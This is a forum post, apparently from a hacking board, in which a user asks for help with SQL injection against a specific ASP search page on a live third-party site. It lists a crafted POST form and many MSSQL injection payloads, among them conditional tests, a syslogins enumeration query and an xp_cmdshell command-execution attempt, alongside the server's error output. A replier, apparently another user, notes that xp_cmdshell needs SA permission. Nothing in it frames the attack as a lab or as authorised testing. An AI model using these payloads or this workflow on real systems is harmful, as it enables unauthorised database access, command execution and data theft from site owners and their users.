Hi..;I m not abel to do something here Cuz it give "No permission" Each time I inject sometime..Damn, Maybe you can help me..I will explain more.
Here is the vuln URL..
| Code: | | http://www.URL.com/think/search.asp |
I think It should be like that..
| Code: | <form action="http://www.URL.com/think/search.asp" method="POST">
<input name="search_keyword" type="text" value="vsat">
<input type="submit" value="Inject !"> |
Look at all thes request and all their error given please..
work!
| Code: | vsat'
vsat'/*
vsat')/*
vsat"/*
vsat"-- |
SQL Error!..
| Code: | Microsoft OLE DB Provider for ODBC Drivers error '80040e21'
ODBC driver does not support the requested properties.
/think/search.asp, line 91 |
Euh It work here..And it give a normal page as "vsat"..
But I tried with AND/OR/UNION/GROUP BY/ORDER BY/HAVING.. and it didnt work..It give the same SQL error
| Code: | vsat' OR 1=1--
vsat' AND 1=1--
vsat' having 1=1-- |
I will post here what they are all injections that worked well, But it give a normal page as "vsat" nothing else..
| Code: | vsat'--
vsat' IF (1=1) SELECT 'true' ELSE SELECT 'false'--
vsat' if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0--
vsat' SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC--
vsat' SELECT CHAR(0x66)--
vsat' SELECT 0x5045--
vsat' SELECT 0x50 + 0x45-- |
I tried many many functions..But they give "No permission ..."
| Code: | | vsat' exec master..xp_cmdshell 'dir'-- |
| Code: | Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Microsoft][ODBC SQL Server Driver][SQL Server]The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.

you know,you can use exec.master..xp_cmdshell only at the time when you have the SA permission..
maybe it's a db_owner OR public permission. isn't it ?
Okay .hope you can add me ,and my ICQ:613592918.
I'm so sorry ,i can't speak English very well as I'm a Chinese.. |
